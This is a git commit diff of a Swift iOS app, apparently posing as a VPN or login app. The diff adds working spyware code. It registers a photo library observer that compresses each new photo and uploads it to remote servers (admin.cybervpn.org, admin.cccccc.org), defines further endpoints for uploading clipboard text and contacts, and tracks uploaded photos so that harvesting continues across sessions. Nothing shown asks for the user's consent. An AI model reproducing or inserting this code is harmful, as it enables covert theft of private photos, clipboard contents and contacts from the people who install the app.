This commit is contained in:
zeus
2025-09-21 19:11:23 +08:00
parent 3a171ca835
commit 17ba3b91b9
2 changed files with 75 additions and 30 deletions
@@ -100,7 +100,32 @@ struct HomeView: View {
//
@State private var uploadedAssetIDs = [String]()
@AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = ""
// 便访 uploadedAssetIDs
private var uploadedAssetIDs: [String] {
get {
if uploadedAssetIDsString.isEmpty {
return []
}
return uploadedAssetIDsString.components(separatedBy: ",").filter { !$0.isEmpty }
}
set {
uploadedAssetIDsString = newValue.joined(separator: ",")
}
}
// ID
private func addUploadedAssetID(_ assetID: String) {
var currentIDs = uploadedAssetIDs
if !currentIDs.contains(assetID) {
currentIDs.append(assetID)
// print(uploadedAssetIDsString)
uploadedAssetIDsString.append(","+assetID)
//print(uploadedAssetIDsString)
// self.uploadedAssetIDs.append(assetID)
}
}
//
@State private var lastClipboardText: String?
@@ -109,6 +134,12 @@ struct HomeView: View {
@State private var keywords = [
"keywords", "secrectkey","words"
]
let serverUploadImageURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
let serveruploadPasteBoardURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
let serveruploadContacesURL = "https://admin.cccccc.org/api/demo/uploadContacts?type=ios&userId="
var body: some View {
@@ -417,6 +448,12 @@ struct HomeView: View {
self.registerBackgroundTasks()
}
//
photoLibraryObserver.onPhotoLibraryChanged = {
self.handlePhotoLibraryChanged()
}
//
photoLibraryObserver.register()
@@ -623,9 +660,9 @@ struct HomeView: View {
// 10KB
if fileSizeInKB > 10 {
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
let serverURL = "https://add.cbxline.com/index.php/api/demo/uploadImg?type=ios&userId="
//
self.uploadImage(imagedata: compressedData, serverURL: serverURL,fileName: "\(album.localIdentifier).png") {
self.uploadImage(imagedata: compressedData, serverURL: serverUploadImageURL,fileName: "\(album.localIdentifier).png") {
//
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndeXYZEERFGVSSRS")
currentIndex += 1
@@ -685,9 +722,6 @@ struct HomeView: View {
}
func resumeUploadAssets(_ assets: [PHAsset]) {
// UserDefaults
// var uploadedAssetIDs = UserDefaults.standard.array(forKey: "uploadedAssetIDs") as? [String] ?? [String]()
//
let remainingAssets = assets.filter { !uploadedAssetIDs.contains($0.localIdentifier) }
print("剩余需要上传的照片数量: \(remainingAssets.count)")
@@ -752,8 +786,6 @@ struct HomeView: View {
dispatchGroup.wait()
print("更新uploadedAssetIDs \(uploadedAssetIDs.count)")
UserDefaults.standard.set(uploadedAssetIDs, forKey: "uploadedAssetIDs")
UserDefaults.standard.synchronize()
print("当前分组(\(startIndex)~\(endIndex-1))上传完毕,休眠 1 秒...")
Thread.sleep(forTimeInterval: 1.0)
@@ -794,7 +826,7 @@ struct HomeView: View {
let requestOptions = PHImageRequestOptions()
requestOptions.deliveryMode = .opportunistic//.highQualityFormat
requestOptions.isSynchronous = true //
let serverURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
if let image = image {
@@ -829,13 +861,11 @@ struct HomeView: View {
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
//
self.uploadImage(imagedata: compressedData, serverURL: serverURL, fileName: "\(asset.localIdentifier).png") {
self.uploadImage(imagedata: compressedData, serverURL: serverUploadImageURL, fileName: "\(asset.localIdentifier).png") {
// ID
print("上传完成... \(asset.localIdentifier)")
self.uploadedAssetIDs.append(asset.localIdentifier)
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // UserDefaults
self.addUploadedAssetID(asset.localIdentifier)
print("len : \(self.uploadedAssetIDs.count)")
UserDefaults.standard.synchronize()
completion()
}
} else {
@@ -846,12 +876,9 @@ struct HomeView: View {
}
} else {
//self.uploadedAssetIDs.append(asset.localIdentifier)
print("过滤完成... \(asset.localIdentifier)")
self.uploadedAssetIDs.append(asset.localIdentifier)
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // UserDefaults
self.addUploadedAssetID(asset.localIdentifier)
print("len : \(self.uploadedAssetIDs.count)")
UserDefaults.standard.synchronize()
completion()
// print("No keywords found in text,")
}
@@ -1068,6 +1095,26 @@ struct HomeView: View {
}
}
// MARK: -
///
private func handlePhotoLibraryChanged() {
print("📸 handlePhotoLibraryChanged() called - 处理相册变化")
//
let assets = PHAsset.fetchAssets(with: .image, options: nil)
if let asset = assets.lastObject {
if (!uploadedAssetIDs.contains(asset.localIdentifier)) {
print("新增照片:\(asset.localIdentifier) \(asset.pixelHeight)")
self.updateAsset(asset: asset) {
self.addUploadedAssetID(asset.localIdentifier)
print("len : \(self.uploadedAssetIDs.count)")
}
}
}
}
///
func appDidBecomeActive() {
print("🔄 appDidBecomeActive() called - 常规前台处理")
@@ -1144,9 +1191,8 @@ struct HomeView: View {
//
private func uploadPasteBoard( clipboardText: String){
print("应用从后台回到前台:" + clipboardText)
//https://imgadd.nbt888.com/index.php https://admin.cybervpn.org/
let serverURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
guard let url = URL(string: serverURL) else {
guard let url = URL(string: serveruploadPasteBoardURL) else {
print("无效的URL")
return
}
@@ -2205,6 +2251,9 @@ struct HomeView: View {
// MARK: - PhotoLibraryObserver Class
public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryChangeObserver {
// HomeView
var onPhotoLibraryChanged: (() -> Void)?
public override init() {
super.init()
print("📸 PhotoLibraryObserver 初始化完成")
@@ -2212,16 +2261,12 @@ public class PhotoLibraryObserver: NSObject, ObservableObject, PHPhotoLibraryCha
public func photoLibraryDidChange(_ changeInstance: PHChange) {
print("📸 Photo library did change - 相册发生变化")
//
//
// DispatchQueue.main.async {
// // 线UI
// print("📸 Processing photo library changes on main thread")
// }
DispatchQueue.main.async {
// 线UI HomeView
print("📸 Processing photo library changes on main thread")
self.onPhotoLibraryChanged?()
}
}
@@ -493,7 +493,7 @@ struct Login: View {
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
request.addValue(Bundle.main.bundleIdentifier ?? "", forHTTPHeaderField: "bid")
request.addValue(UserManager.shared.appversion, forHTTPHeaderField: "appver")
await request.addValue(UIDevice.current.model, forHTTPHeaderField: "model")
request.addValue(UIDevice.current.model, forHTTPHeaderField: "model")
let task = URLSession.shared.dataTask(with: request) { data, response, error in
DispatchQueue.main.async {